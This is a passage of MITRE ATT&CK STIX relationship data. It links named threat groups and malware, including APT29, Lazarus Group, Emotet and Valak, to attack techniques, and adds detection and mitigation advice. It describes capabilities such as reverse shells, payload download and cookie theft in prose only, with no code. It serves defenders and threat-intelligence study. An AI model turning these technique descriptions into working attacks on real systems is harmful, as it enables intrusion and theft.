"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8b1f3a0-0202-4a2e-a234-f181d45d683a", "type": "relationship", "created": "2021-12-06T16:01:16.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.821Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has used various types of scripting to perform operations, including batch scripts.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8bab261-69f2-49b4-83df-c2f8997753b1", "type": "relationship", "created": "2021-09-22T21:17:32.018Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Shining A Light on DARKSIDE May 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "description": "FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."}, {"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-09-22T21:17:32.018Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) can capture screenshots of the victim\u2019s desktop.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b8bb65e7-3846-4b41-8594-16409a94aa8d", "created": "2022-05-25T18:51:32.312Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. 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Retrieved November 29, 2018."}], "modified": "2020-03-18T15:14:10.898Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has stored obfuscated JavaScript code in an image file named temp.jpg.(Citation: ClearSky MuddyWater Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8e128df-429d-4a98-9b34-b179272a8344", "type": "relationship", "created": "2021-05-10T23:54:35.992Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mcafee Clop Aug 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/", "description": "Mundo, A. (2019, August 1). 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Retrieved March 8, 2017."}, {"source_name": "FireEye FIN7 March 2017", "url": "https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) executes cmd.exe to provide a reverse shell to adversaries.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)", "modified": "2022-07-20T20:06:44.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8ead9c4-0403-4b23-b33f-8ac1c57f8e82", "type": "relationship", "created": "2020-05-18T17:31:39.477Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Maze March 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", "description": "Mundo, A. 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Retrieved June 13, 2019.", "url": "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:22:36.393Z", "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses PowerShell commands to download and execute payloads.(Citation: PWC KeyBoys Feb 2017)", "relationship_type": "uses", "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8fbce12-deae-4655-ac96-e23ebbeef624", "type": "relationship", "created": "2021-09-15T18:02:37.635Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec WastedLocker June 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}], "modified": "2021-09-15T18:02:37.635Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used malicious JavaScript files for several components of their attack.(Citation: Symantec WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b8fce83b-82ea-4eec-9bb2-ef2e9ad1985c", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T19:48:14.014Z", "description": "Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n\nFurthermore, monitor network traffic for cloned sites as well as homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). 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Retrieved February 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[APT29](https://attack.mitre.org/groups/G0016) has use `mshta` to execute malicious scripts on a compromised host.(Citation: ESET T3 Threat Report 2021)", "modified": "2022-04-14T12:47:04.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b906b0a1-12a3-4d6f-82ec-d72a4ef711b4", "type": "relationship", "created": "2021-10-01T18:34:01.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}], "modified": "2021-10-15T16:55:11.495Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Ruby scripts to execute payloads.(Citation: Volexity InkySquid RokRAT August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9109cd5-1b13-4376-a761-b68302879351", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}], "modified": "2020-03-20T18:28:20.855Z", "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use base64 encoded C2 communications.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9165c4a-aac7-479d-8ad9-22c25e031a76", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018"}], "modified": "2021-03-29T19:43:26.819Z", "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use a public UAC bypass method to elevate privileges.(Citation: Nccgroup Emissary Panda May 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b91c4f2d-8f21-46e9-a012-967436018eea", "type": "relationship", "created": "2020-05-12T22:05:50.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-12T22:05:50.740Z", "description": "[Mofang](https://attack.mitre.org/groups/G0103)'s malicious spearphishing attachments required a user to open the file after receiving.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b91de2c3-897a-4e04-94f8-9e905564b47a", "created": "2020-06-19T19:08:40.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 Valak July 2020", "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.", "url": "https://unit42.paloaltonetworks.com/valak-evolution/"}, {"source_name": "SentinelOne Valak June 2020", "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.", "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i"}, {"source_name": "Cybereason Valak May 2020", "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:35:19.734Z", "description": "[Valak](https://attack.mitre.org/software/S0476) has used scheduled tasks to execute additional payloads and to gain persistence on a compromised host.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b91e06c1-9546-4184-9552-ba501bf9182e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2018-10-17T00:14:20.652Z", "description": "[ipconfig](https://attack.mitre.org/software/S0100) can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.", "relationship_type": "uses", "source_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b921077b-4a62-461c-aaec-9cd70b5cf5f8", "created": "2022-06-15T12:55:32.032Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can assign hard-coded fallback domains for C2.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T12:55:32.032Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b921aed3-07ce-49b0-8051-48807fa82ea7", "type": "relationship", "created": "2020-02-18T15:54:51.207Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-08T21:05:20.454Z", "description": "Use user training as a way to bring awareness and raise suspicion for potentially malicious events and dialog boxes (ex: Office documents prompting for credentials).", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b923a6b3-acae-4ecf-bb56-63188d0e4553", "created": "2022-09-16T21:32:46.737Z", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-16T21:32:46.737Z", "description": "For [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), at least one identified persona was used to register for a free account for a control server.(Citation: McAfee Honeybee) ", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9250852-1e69-435c-8414-bbf27593eedb", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitor executed commands and arguments that may gather information in an attempt to calculate the geographical location of a victim host.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b92542f4-97bc-4e75-9f92-328c25a007ef", "created": "2023-09-29T21:09:49.002Z", "revoked": false, "external_references": [{"source_name": "Binary Defense Emotes Wi-Fi Spreader", "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T21:09:49.002Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has reflectively loaded payloads into memory.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b9259830-1b82-4303-bb5a-c0285a71f5ef", "created": "2022-02-01T14:23:04.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Twitter Ida Pro Nov 2021", "description": "Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved March 2, 2022.", "url": "https://twitter.com/ESETresearch/status/1458438155149922312"}, {"source_name": "Qualys LolZarus", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-14T19:00:58.304Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used <code>schtasks</code> for persistence including through the periodic execution of a remote XSL script or a dropped VBS payload.(Citation: Qualys LolZarus)(Citation: ESET Twitter Ida Pro Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b9274127-9c6e-4079-a513-75adceceea33", "created": "2022-03-30T14:26:51.838Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Enigma MMC20 COM Jan 2017", "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "description": "Nelson, M. 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Retrieved July 26, 2021."}], "modified": "2021-08-31T17:00:18.537Z", "description": "(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b997d866-0aef-4ba6-a812-cfa2fccb05af", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.022Z", "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to compress files.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b99e218f-942b-4643-b4de-35649d2a4cbd", "type": "relationship", "created": "2020-06-19T19:08:40.385Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. (2020, May 28). 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Retrieved December 4, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}], "modified": "2020-03-17T00:28:19.704Z", "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using SOCKS.(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9b28368-527c-4b13-9350-b2cda637e711", "type": "relationship", "created": "2019-03-11T20:01:20.374Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.900Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate antivirus software on the target.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9b2ddad-acb6-4e97-966c-ff18fd36cea3", "type": "relationship", "created": "2019-01-29T19:36:02.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. 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Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9b622ad-856a-48f9-a768-ef05bd2914fe", "type": "relationship", "created": "2020-06-08T17:03:53.022Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-08T17:03:53.022Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal web session cookies from Internet Explorer, Netscape Navigator, FireFox and RealNetworks applications.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9c05069-a05f-4b74-9b4d-275c64f2e124", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", "description": "ESET Research. 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Retrieved July 8, 2019."}], "modified": "2019-07-14T21:04:45.625Z", "description": "(Citation: ESET Turla Mosquito May 2018)(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b9c68fbb-45d5-41d3-9bfb-e591d38af920", "created": "2022-03-25T16:21:29.192Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. 